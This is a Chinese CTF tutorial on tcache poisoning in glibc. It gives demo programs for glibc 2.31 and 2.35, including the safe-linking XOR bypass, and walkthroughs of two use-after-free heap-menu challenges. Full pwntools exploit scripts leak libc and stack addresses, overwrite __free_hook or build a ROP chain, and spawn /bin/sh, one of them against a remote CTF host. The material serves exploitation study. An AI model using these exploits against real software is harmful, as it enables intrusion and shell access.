• tcache_poisoning字面意思就是tcache_中毒,实际上就是劫持已经被释放的并且已经被放入tcachebin中的堆块,劫持该堆块的fd指针
  • 这样我们就可以申请到任意地址的内存空间,如果堆菜单中有读和写的功能就能达到任意地址写和任意地址读的操作。
  • 这个算是最简单的一个堆利用了,总之比fastbin_attack容易得多。接下来直接看实验就明白了。
  • 三个实验,第一个实验是glibc2.31以下的通过直接修改指针的值进行tcache_poisoning

实验1

  • 实验环境主要以glibc2.31版本和glibc2.35版本,分别对应着glibc2.31版本一下的tcache_poisoning操作很简单。
  • 而从glibc2.32版本开始tcache_poisoning就需要有一个异或操作了,所以稍微有点麻烦了。

源码(英文)

  • 接下来就直接查看实验,查看一下tcache_poisoning的效果如何
  • 实验的环境以ubuntu2.31为准,因为这个版本的tcache堆块被释放后添加了地址加密,但是攻击效果还是和前几个版本一样。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>

int main()
{
// disable buffering
setbuf(stdin, NULL);
setbuf(stdout, NULL);

printf("This file demonstrates a simple tcache poisoning attack by tricking malloc into\n"
"returning a pointer to an arbitrary location (in this case, the stack).\n"
"The attack is very similar to fastbin corruption attack.\n");
printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\n"
"We have to create and free one more chunk for padding before fd pointer hijacking.\n\n");

size_t stack_var;
printf("The address we want malloc() to return is %p.\n", (char *)&stack_var);

printf("Allocating 2 buffers.\n");
intptr_t *a = malloc(128);
printf("malloc(128): %p\n", a);
intptr_t *b = malloc(128);
printf("malloc(128): %p\n", b);

printf("Freeing the buffers...\n");
free(a);
free(b);

printf("Now the tcache list has [ %p -> %p ].\n", b, a);
printf("We overwrite the first %lu bytes (fd/next pointer) of the data at %p\n"
"to point to the location to control (%p).\n", sizeof(intptr_t), b, &stack_var);
b[0] = (intptr_t)&stack_var;
printf("Now the tcache list has [ %p -> %p ].\n", b, &stack_var);

printf("1st malloc(128): %p\n", malloc(128));
printf("Now the tcache list has [ %p ].\n", &stack_var);

intptr_t *c = malloc(128);
printf("2nd malloc(128): %p\n", c);
printf("We got the control\n");

assert((long)&stack_var == (long)c);
return 0;
}
//gcc -g -o lab lab.c

源码(中文)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>

int main()
{
// 无缓冲模式
setbuf(stdin, NULL);
setbuf(stdout, NULL);

printf("这个文件示范了一个通过欺骗malloc进行简单的tcache投毒攻击,这使得程序在调用malloc后会返回任意位置的内存地址例如栈地址或者libc中的地址\n这个攻击与fasbin corruption attack非常相似\n");
printf("在patch这个之后https://sourceware.org/git/p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\n我们必须创建或者释放多个(至少两个)的堆块,然后释放他们,最后将目标地址填入最后一次所释放的堆块的fd指针的位置,从而使指针被劫持\n\n");

size_t stack_var;
printf("我们想要malloc()返回的地址为:%p.\n", (char *)&stack_var);

printf("分配两个堆块\n");
intptr_t *a = malloc(128);
printf("malloc(128): %p\n", a);
intptr_t *b = malloc(128);
printf("malloc(128): %p\n", b);

printf("释放这两个堆块...\n");
free(a);
free(b);

printf("现在tcache链表是这样的形式[ %p -> %p ].\n", b, a);
printf("我们覆盖开头的%lu bytes,目前这个数据(fd/next pointer)的值为: %p\n"
"我们要使得它指向我们指定的位置(%p).\n", sizeof(intptr_t), b, &stack_var);
b[0] = (intptr_t)&stack_var;
printf("现在tcache链表像这样[ %p -> %p ].\n", b, &stack_var);

printf("首先malloc(128): %p\n", malloc(128));
printf("现在tcache的链表像这样[ %p ].\n", &stack_var);

intptr_t *c = malloc(128);
printf("其次 malloc(128): %p\n", c);
printf("我们取得了控制\n");

assert((long)&stack_var == (long)c);
return 0;
}
//gcc -g -o lab lab.c

利用过程

  • 由于这个过程比较简单,所以就不分步骤了。

image-20250603234217487

  • 首先我们先申请两个堆块

image-20250603234259804

  • 堆块目前是这样的

image-20250603234350519

  • 之后我们就先后释放这两个堆块

image-20250603234422878

image-20250603234429223

image-20250603234645876

  • 接下来我们修改了b指针所指向的堆块stack_var

image-20250603234736456

image-20250603234837739

image-20250603234913302

  • 然后再调用malloc申请相同大小的堆块

image-20250603235038287

  • 这个时候我们就可以对栈上的地址进行读写了

image-20250603235122073

tcache_poisoning_level1

分析1

全局变量

image-20250604001015303

main函数

  • 简单的一个堆菜单

image-20250604001036204

create函数

  • 就是指定堆块索引,向堆块索引这边申请指定大小的堆块

image-20250604001115616

edit函数

  • 向堆块大小写入,我们之前申请堆块大小的字节数

image-20250604001236587

delete函数

  • 释放指定堆块,但是这里存在UAF漏洞,我们可以编辑释放后的堆块。

image-20250604001318997

show函数

  • 打印指定堆块索引所指向堆块的内容。

image-20250604001402354

分析2

攻击流程

  • 其实主要思路就是利用UAF漏洞,对释放后的堆块进行show函数操作,写泄露libc的地址。
  • 然后再申请两个堆块,并且将这两个堆块释放,从而进行tcache_poisoning攻击,使得我们申请到free_hook所在的内存空间。
  • 这样我们就可以修改free_hook里面的内容为system,之后我们再申请一个堆块,向这个堆块写入/bin/sh\x00,写入后再释放这个堆块,就可以执行system("/bin/sh\x00")了。

调试过程

  • 先申请一个大的堆块,再释放该堆块,使得这个堆块释放后会被放入unsorted_bin中去。这样我们就可以使用show函数泄露出libc的地址。

image-20250604003111795

  • 之后我们使用tcache_poisoning的方法对这个程序进行攻击

image-20250604003231737

image-20250604003257272

image-20250604003626165

  • 接下来就可以申请到free_hook的这个地方了

image-20250604003725830

  • 然后再申请一个堆块填入/bin/sh\x00并释放

image-20250604003815954

  • 释放后就能getshell

image-20250604003832514

  • 打远程

image-20250604003912099

exp

  • exp如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
from sympy import oo
context.log_level = 'debug'
#p = process("./heap")
p = remote('node4.anna.nssctf.cn',28937)
#libc = ELF("/home/myheart/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc.so.6")
libc = ELF("./libc.so.6")
def add(idx,size):
p.sendlineafter(b">>",b'1')
p.sendlineafter(b'idx?',str(idx).encode())
p.sendlineafter(b'size?',str(size).encode())


def delete(idx):
p.sendlineafter(b">>",b'2')
p.sendlineafter(b'idx?',str(idx).encode())

def show(idx):
p.sendlineafter(b">>",b'3')
p.sendlineafter(b'idx?',str(idx).encode())

def edit(idx,content):
p.sendlineafter(b">>",b'4')
p.sendlineafter(b'idx?',str(idx).encode())
p.sendlineafter(b'content :',content)
#gdb.attach(p)
add(0,0x450)
add(1,0x10)
delete(0)
show(0)
p.recvuntil(b'content : ')
libc_x = p.recvline()[:-1]
libc_x = u64(libc_x.ljust(8,b'\x00'))
libc_base = libc_x - 0x70 - libc.symbols['__malloc_hook']
free_hook = libc_base + libc.symbols['__free_hook']
sys_addr = libc_base + libc.symbols['system']
add(2,0x30)
add(3,0x30)
add(4,0x30)
delete(2)
delete(3)
edit(3,p64(free_hook))
add(5,0x30)
add(6,0x30)
edit(6,p64(sys_addr))
add(7,0x30)
edit(7,b'/bin/sh\x00')
delete(7)
#print(hex(libc_x))
p.interactive()

实验2

  • 这个实验就是glibc2.35环境下的实验,主要就是tcache增加了异或机制,异或机制的源码如下:
1
2
3
4
5
6
7
8
9
10
11
12
/* Safe-Linking:
Use randomness from ASLR (mmap_base) to protect single-linked lists
of Fast-Bins and TCache. That is, mask the "next" pointers of the
lists' chunks, and also perform allocation alignment checks on them.
This mechanism reduces the risk of pointer hijacking, as was done with
Safe-Unlinking in the double-linked lists of Small-Bins.
It assumes a minimum page size of 4096 bytes (12 bits). Systems with
larger pages provide less entropy, although the pointer mangling
still works. */
#define PROTECT_PTR(pos, ptr) \
((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
#define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr)
  • 这个异或机制其实就是将,要保护的fd的值和当前fd指针的地址向右移12位,然后再进行异或操作

  • 但是现在还是能进行绕过tcache_poisoning绕过。

源码(英文)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>

int main()
{
// disable buffering
setbuf(stdin, NULL);
setbuf(stdout, NULL);

printf("This file demonstrates a simple tcache poisoning attack by tricking malloc into\n"
"returning a pointer to an arbitrary location (in this case, the stack).\n"
"The attack is very similar to fastbin corruption attack.\n");
printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\n"
"We have to create and free one more chunk for padding before fd pointer hijacking.\n\n");
printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,\n"
"An heap address leak is needed to perform tcache poisoning.\n"
"The same patch also ensures the chunk returned by tcache is properly aligned.\n\n");

size_t stack_var[0x10];
size_t *target = NULL;

// choose a properly aligned target address
for(int i=0; i<0x10; i++) {
if(((long)&stack_var[i] & 0xf) == 0) {
target = &stack_var[i];
break;
}
}
assert(target != NULL);

printf("The address we want malloc() to return is %p.\n", target);

printf("Allocating 2 buffers.\n");
intptr_t *a = malloc(128);
printf("malloc(128): %p\n", a);
intptr_t *b = malloc(128);
printf("malloc(128): %p\n", b);

printf("Freeing the buffers...\n");
free(a);
free(b);

printf("Now the tcache list has [ %p -> %p ].\n", b, a);
printf("We overwrite the first %lu bytes (fd/next pointer) of the data at %p\n"
"to point to the location to control (%p).\n", sizeof(intptr_t), b, target);
// VULNERABILITY
// the following operation assumes the address of b is known, which requires a heap leak
b[0] = (intptr_t)((long)target ^ (long)b >> 12);
// VULNERABILITY
printf("Now the tcache list has [ %p -> %p ].\n", b, target);

printf("1st malloc(128): %p\n", malloc(128));
printf("Now the tcache list has [ %p ].\n", target);

intptr_t *c = malloc(128);
printf("2nd malloc(128): %p\n", c);
printf("We got the control\n");

assert((long)target == (long)c);
return 0;
}// gcc -g -o lab2 lab2,c

源码(中文)

  • 翻译成中文后就是如下这样
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>

int main()
{
// disable buffering
setbuf(stdin, NULL);
setbuf(stdout, NULL);

printf("这个程序将通过触发malloc返回一个任意位置的指针(在这个例子中,返回的是栈上的指针)从而进行一个简单的tcache poisoning attack的攻击.这个攻击与fastbin corruption attack非常相似\n");
printf("在patch这个后After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\n"
"我们必须在劫持fd指针之前创建和释放更多chunk用于填充.\n\n");
printf("在这个patch之后https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,\n"
"需要泄露堆地址才能执行tcache poisoning.\n"
"这个补丁还确保了tcache返回的块正确对齐.\n\n");

size_t stack_var[0x10];
size_t *target = NULL;

// choose a properly aligned target address
for(int i=0; i<0x10; i++) {
if(((long)&stack_var[i] & 0xf) == 0) {
target = &stack_var[i];
break;
}
}
assert(target != NULL);

printf("我们想要malloc()返回的地址为%p.\n", target);

printf("分配2个buffers.\n");
intptr_t *a = malloc(128);
printf("malloc(128): %p\n", a);
intptr_t *b = malloc(128);
printf("malloc(128): %p\n", b);

printf("释放这两个buffers...\n");
free(a);
free(b);

printf("现在tcache链表是这样的[ %p -> %p ].\n", b, a);
printf("我们覆盖%lu bytes (fd/next pointer)在这个地址%p的数据\n"
"为了指向能控制的位置(%p).\n", sizeof(intptr_t), b, target);
// 下面就是一个漏洞
// 接下来假设b的地址已知, 这其实就要求我们需要泄露一个堆地址
b[0] = (intptr_t)((long)target ^ (long)b >> 12);
// 漏洞
printf("现在tcache链表为[ %p -> %p ].\n", b, target);

printf("首先malloc(128): %p\n", malloc(128));
printf("现在tcache的链表为[ %p ].\n", target);

intptr_t *c = malloc(128);
printf("其次malloc(128): %p\n", c);
printf("我们得到了一个控制\n");

assert((long)target == (long)c);
return 0;
}//gcc -g -o lab2 lab2.c

利用过程1(堆栈布局)

  • 最终使用malloc申请到的栈地址为如下图:

image-20250624220807679

  • 此时还需要准备两个chunk,即malloc(128)两次

image-20250624220926583

image-20250624221156798

  • 接下来将这两个堆块释放,使得这两个堆块都被放入tcachebin中,链表如下。

image-20250624221257580

  • 但是我们观察一下这两个链表的fd指针,这里原本地址为0x555555559290chunk的fd指针应该为0,但是这里为0x555555559

image-20250624221505149

image-20250624225031454

利用过程2(绕过tcache_key)

  • 此时我们要绕过key就需要这样操作

image-20250624222235911

  • 将第二次释放的chunk块中的fd指针做如下修改,这样才能正常劫持到栈上
1
2
fd = target ^ b>>12;
//原来的tcache_poisoning只需要修改fd为target即可,现在需要异或一个b>>12,即&fd>>12这么一个数
  • 此时我们就可以劫持到堆块的地址

image-20250624225103356

image-20250624225136981

利用过程3(申请栈地址)

  • 接下来就是按照原来的步骤,先申请一个堆块,将0x555555559320这个堆块给申请回来。

image-20250624225300120

  • 最后再申请一个堆块,这个堆块就会被申请到栈上了注意这个堆块必须是0x10字节对齐

image-20250624225321844

  • 以上就是glibc2.34即以上的tcache_poisoning

tcache_poisoning_level2

分析1

  • 先查看一下保护机制,发现保护全开

image-20250627122951591

全局变量

image-20250624230614274

main函数

实现堆菜单选项功能

image-20250624230646138

create函数

先指定一个索引值,并且指定要申请堆块的大小,然后申请堆块,将堆块放入之前指定的数组索引中

image-20250624230714696

edit函数

向指定堆块固定字节数的数据

image-20250624230848119

delete函数

释放指定堆块,但是这里存在UAF漏洞

image-20250624230932220

show函数

打印指定索引的堆块内容

image-20250624230959483

Exit函数

  • 释放所有堆块,并且将存放指针和存放大小数组的值清零

image-20250624231034893

分析2

攻击思路

  • 由于该堆版本使用的是glibc2.35,在这个版本中我们没办法劫持hook指针了,hook指针给删了。这个时候就需要另辟蹊径了。

  • 对于这题,我们其实有两种思路:

    • 第一种是泄露libc地址,再通过libc地址,再通过environ泄露栈地址,由堆转到栈上构造rop链。

    • 第二种是堆+io打法,泄露libc地址,可以打house_of_apple,应该也可以打其他house-of

    • 这里是做练习,所以尝试一下俩种打法都尝试一下,顺便也学习一下house_of_apple

打法一堆转栈

打法一调试

  • 不论是哪种打法,都要先使用use after show,将异或的tcache_key泄露出来。
  • 此时我们就先要申请一个堆块,再将其释放,最后使用show函数得到tcache_key
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
def add(idx,size):
p.sendlineafter(b">>",b'1')
p.sendlineafter(b'idx?',str(idx).encode())
p.sendlineafter(b'size?',str(size).encode())


def delete(idx):
p.sendlineafter(b">>",b'2')
p.sendlineafter(b'idx?',str(idx).encode())

def show(idx):
p.sendlineafter(b">>",b'3')
p.sendlineafter(b'idx?',str(idx).encode())

def edit(idx,content):
p.sendlineafter(b">>",b'4')
p.sendlineafter(b'idx?',str(idx).encode())
p.sendlineafter(b'content :',content)

add(0,0x70)
delete(0)
show(0)

image-20250627122042084

image-20250627122159408

  • 接下来就是一个基本的模版,进行tcache_poisoning漏洞利用,从而使用malloc申请到任意地址,再使用showedit这两个函数对申请回来的地址进行任意读写的操作。
  • 存在问题是该程序保护全开,此时我们就没办法申请到bss段的全局变量的ptr数组,所以我们先应该通过释放堆块到unsorted_bin中泄露main_arena的地址。但是泄露这个地址有的时候会遇到特殊符号,从而泄露失败。
1
2
3
4
5
6
7
8
9
10
11
add(1,0x450)
add(2,0x10)
delete(1)
show(1)
p.recvuntil(b'content : ')
leak_addr = p.recvline()[:-1]
print(leak_addr)
leak_addr = int.from_bytes(leak_addr,'little')
libc_addr = leak_addr-96-0x21AC80
print(hex(leak_addr))
print(hex(libc_addr))

image-20250627124214684

  • 泄露之后我们可以使用相对偏移从而计算出libc的基地址。此时我们通过tcache_poisoning泄露environ上保存的栈地址
1
2
3
4
5
6
7
8
9
10
11
12
13
14
add(3,0x70)
add(4,0x70)
delete(3)
delete(4)
environ_addr = libc_addr + libc.symbols['environ']
print('environ_addr--->',hex(environ_addr))
edit(4,p64(key^environ_addr))
add(5,0x70)
add(6,0x70)
show(6)
p.recvuntil(b'content : ')
stack = p.recvline()[:-1]
stack_addr = int.from_bytes(stack,'little')
print('stack_addr',hex(stack_addr))

image-20250627130827942

  • 接下来就需要确定栈的地址,泄露位置先试试看俩次add()、俩次delete()、一次edit()、俩次add()、再来一次edit()这时候的栈地址,因为main函数是一个死循环,跳出不了循环,所以就需要调用完edit()函数的那处栈地址直接触发rop链
  • 注意:这里只是先大致确定一下栈地址,之后还需要调试,比如0x10对齐,或者申请堆块的时候,对应prev_size会清零导致ret地址清零,所以还需要考虑比较多的因素
1
2
3
4
5
6
7
8
9
add(7,0x70)
add(8,0x70)
delete(7)
delete(8)
edit(3,p64(0))
add(9,0x70)
add(10,0x70)
pause()
edit(10,p64(0))

image-20250627134502418

  • 计算得到的结果是0x140,这样就可以算出偏移,此时直接构造rop链就行了,但是在实际的时候应该申请到0x198处的偏移,然后再使用read函数的一个小trick就可以进行利用了,使用libc中的gadget即可。并且将确定栈偏移的位置那些语句给替换成制造tcache_poisoning漏洞的语句。直接修改到rsp这边即可。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
des_stack = stack_addr - 0x198
pop_rdi = 0x2a3e5 + libc_addr
sh_addr = next(libc.search(b'/bin/sh\x00')) + libc_addr
sys_addr = libc.symbols['system'] + libc_addr
ret = 0x29139 + libc_addr
add(7,0x70)
add(8,0x70)
delete(7)
delete(8)
edit(8,p64(des_stack^key))
add(9,0x70)
#pause()
add(10,0x70)
pause()
edit(10,b'a'*0x8*0x7+p64(ret)+p64(pop_rdi)+p64(sh_addr)+p64(sys_addr))
p.interactive()

image-20250627141844179

  • 此时写入后rop链就已经完成了

image-20250627142426729

打法一exp

  • exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from pwn import *
p = process("./heap")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
gdb.attach(p)
def add(idx,size):
p.sendlineafter(b">>",b'1')
p.sendlineafter(b'idx?',str(idx).encode())
p.sendlineafter(b'size?',str(size).encode())


def delete(idx):
p.sendlineafter(b">>",b'2')
p.sendlineafter(b'idx?',str(idx).encode())

def show(idx):
p.sendlineafter(b">>",b'3')
p.sendlineafter(b'idx?',str(idx).encode())

def edit(idx,content):
p.sendlineafter(b">>",b'4')
p.sendlineafter(b'idx?',str(idx).encode())
p.sendlineafter(b'content :',content)

# 获取key值
add(0,0x70)
delete(0)
show(0)
p.recvuntil(b'content : ')
key = p.recvline()[:-1]
key = int.from_bytes(key,'little')
print(hex(key))
# 构造tcache_poising漏洞
add(1,0x450)
add(2,0x10)
delete(1)
show(1)
p.recvuntil(b'content : ')
leak_addr = p.recvline()[:-1]
print(leak_addr)
leak_addr = int.from_bytes(leak_addr,'little')
libc_addr = leak_addr-96-0x21AC80
print(hex(leak_addr))
print(hex(libc_addr))
add(3,0x70)
add(4,0x70)
delete(3)
delete(4)
environ_addr = libc_addr + libc.symbols['environ']
print('environ_addr--->',hex(environ_addr))
edit(4,p64(key^environ_addr))
add(5,0x70)
add(6,0x70)
show(6)
p.recvuntil(b'content : ')
stack = p.recvline()[:-1]
stack_addr = int.from_bytes(stack,'little')
print('stack_addr',hex(stack_addr))
des_stack = stack_addr - 0x198
pop_rdi = 0x2a3e5 + libc_addr
sh_addr = next(libc.search(b'/bin/sh\x00')) + libc_addr
sys_addr = libc.symbols['system'] + libc_addr
ret = 0x29139 + libc_addr
add(7,0x70)
add(8,0x70)
delete(7)
delete(8)
edit(8,p64(des_stack^key))
add(9,0x70)
#pause()
add(10,0x70)
pause()
edit(10,b'a'*0x8*0x7+p64(ret)+p64(pop_rdi)+p64(sh_addr)+p64(sys_addr))
p.interactive()
  • 远程也能打成功

image-20250627142721073

打法二IO

打法二调试

打法二exp

exp